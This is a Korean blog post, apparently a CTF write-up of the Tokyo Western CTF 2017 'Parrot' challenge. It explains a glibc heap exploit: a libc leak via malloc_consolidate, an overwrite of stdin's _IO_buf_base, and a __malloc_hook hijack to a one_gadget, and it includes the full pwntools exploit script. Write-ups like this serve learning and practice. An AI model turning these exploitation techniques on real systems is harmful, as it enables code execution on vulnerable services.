Profile

youngsouk

youngsouk

Tokyo Western CTF 2017 - Parrot

문제를 ida로 디스어셈을 봤을 때 구조는 단순하다. malloc을 해주고 free를 해주게 된다.

이 문제를 익스 플로잇하는 방법은 간단하다.

1. fastbin 크기로 malloc (순서 조심) - libc leak

2. stdin _IO_buf_base 수정

3. 다시 stdin _IO_buf_base 수정

4. one_gadget 또는 system 주소 입력

첫번째로 fastbin 크기로 작은것 1개 그것보다 큰 크기로 1개를 할당한뒤 다시 한번 할당을 하면 libc leak이 이루어지게 되는데 그 이유는 malloc_consolidate라는 함수 때문이다. 

코드로 나타내면 이렇게 되는데

### libc leak
malloc(24,'a' *24)
malloc(50, 'a')
malloc(200, 'a') # malloc_consolidate() -> libc addr

malloc(16, 'a' * 8)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = libc - 88 - 16 - l.sym['__malloc_hook']
log.success('libc addr : ' + hex(libc))
log.info('system : ' + hex(libc + l.sym['system']))
log.info('__malloc_hook : ' + hex(libc + l.sym['__malloc_hook']))
log.info('main_arena : ' + hex(libc + l.sym['__malloc_hook'] + 16))
#############

이 원리를 이해하려면 malloc_consolidate의 작동 원리를 알아야하는데 이것에 관해서 간단히 설명을 하자면 fastbin에 있는 청크들 중 병합할 수 있는것은 병합을 해버리고, 안된다면 unsorted bin에 청크를 넣어주게 된다.

이 과정이 크기가 작은 청크부터 진행이 되게 되는데

1. 먼저 할당한 작은 청크를 병합할 수 있는지 검사. 하지만 fastbin에 들어가는 크기에서는 free를 해도 prev_inuse bit가 초기화가 되지 않으므로 병합을 못한다.

2. 먼저 할당한 청크는 unsorted bin에 들어가게 되고 fd와 bk 는 main_arena + 88의 주소가 쓰인다.

여기서 2번째 청크는 필요없다고 생각할 수 있는데 2번째 청크는 크기가 첫번째보다 커서 나중에 malloc_consolidate의 대상이 되고, 첫번째 청크가 top chunk와 인접하지 않도록 해주어서 병합를 막게 된다.

이런 방식으로 libc leak을 할 수 있고, 다음은 stdin의 _IO_buf_base를 수정해주어야 한다. 그 방법은 

    buf = malloc(size);
    puts("Buffer:");
    read(0, buf, size);
    *(buf + size - 1) = 0;

여기서 큰 크기로 할당을 하게 되면 buf가 NULL 즉 0이 된다. 그런뒤에 buf + size -1의 위치에 0을 삽입하는데 그래서 size에 _IO_buf_base + 1의 주소를 주면 하위 1바이트를 0으로 덮을 수 있게 된다.

이 파일 구조체에 대해 잘 모른다면

2019/09/12 - [FSOP] - fopen함수 분석

이 글을 보면 이해가 될 수도 있다.

이렇게 _IO_buf_base의 하위 1바이트가 0으로 덮이게 되면서 _IO_buf_base와 _IO_buf_end 사이의 공간이 남게 되면서 버퍼링을 사용한다고 인식을 하게 되어서 _IO_buf_base부터 버퍼링을 사용할 것이다. 그래서 _IO_buf_base하위 1바이트를 0으로 덮는 부분의 코드는

## stdin -> _IO_buf_base overwrite 1byte
malloc(libc + l.sym['_IO_2_1_stdin_'] + 8 * 7 + 1, 'a')

##########################

이렇게 된다. 다음에 입력을 하게 되면 _IO_buf_base가 가리키는 주소부터 입력을 받으므로 그렇다면 다시 한번 _IO_buf_base와 _IO_buf_end를 덮을 수 있으므로 __malloc_hook으로 덮게 되면 익스플로잇을 할 수 있다. 

#### overwrite _IO_buf_base & _IO_buf_end
payload = ''
payload += '1'.ljust(0x18, '\x00')
payload += p64(libc + l.sym['__malloc_hook'])
payload += p64(libc + l.sym['__malloc_hook'] + 0x40)
payload += p64(0) * 8

malloc(payload, '')
##########################

이렇게 _IO_buf_base와 _IO_buf_end를 덮었다면 예전 버퍼 공간을 다 채워버려야하는데 그 이유는 예전 버퍼 공간을 다 채워야지(_IO_read_ptr과 _IO_read_end가 같게 될때) _IO_buf_base와 _IO_buf_end로 갱신을 해주기 때문이다. 

그래서 예전 버퍼 공간을 다 채워버리는 코드는

###flush old buffer
for i in range(94):
        p.sendafter('Buffer:\n', '\n')
##########################

 

이렇게 된다. 그 다음에 입력을 받게 되면 __malloc_hook을 덮게 되므로 one_gadget이나 system주소를 입력하면 된다.

#### __malloc_hook -> one_gadget or system
p.sendline(p64(libc + 0xf02a4))

마지막으로 위의 코드들을 종합하여 전체 코드를 보자면

from pwn import *

def malloc(size, content):
        p.sendlineafter('Size:\n', str(size))
        p.sendafter('Buffer:\n', str(content))


p = process('./tw2017parrot')
e = ELF('./tw2017parrot')
l = e.libc

context.log_level = "debug"

pause()
### libc leak
malloc(24,'a' *24)
malloc(50, 'a')
malloc(200, 'a') # malloc_consolidate() -> libc addr

malloc(16, 'a' * 8)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = libc - 88 - 16 - l.sym['__malloc_hook']
log.success('libc addr : ' + hex(libc))
log.info('system : ' + hex(libc + l.sym['system']))
log.info('__malloc_hook : ' + hex(libc + l.sym['__malloc_hook']))
log.info('main_arena : ' + hex(libc + l.sym['__malloc_hook'] + 16))
#############

## stdin -> _IO_buf_base overwrite 1byte
malloc(libc + l.sym['_IO_2_1_stdin_'] + 8 * 7 + 1, 'a')

##########################
#### overwrite _IO_buf_base & _IO_buf_end
payload = ''
payload += '1'.ljust(0x18, '\x00')
payload += p64(libc + l.sym['__malloc_hook'])
payload += p64(libc + l.sym['__malloc_hook'] + 0x40)
payload += p64(0) * 8

malloc(payload, '')
##########################
###flush old buffer
for i in range(94):
        p.sendafter('Buffer:\n', '\n')
##########################
#### __malloc_hook -> one_gadget or system
p.sendline(p64(libc + 0xf02a4))

p.interactive()

이렇게 된다.

(grin)

'CTF write-up' 카테고리의 다른 글

[Hitcon 2016] Secret Holder  (0) 2020.01.25
[wargame.0x0.site] babyheap 라이트업  (0) 2019.10.12
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]  (0) 2019.08.25
[hackingcamp2019]camp_note  (0) 2019.08.25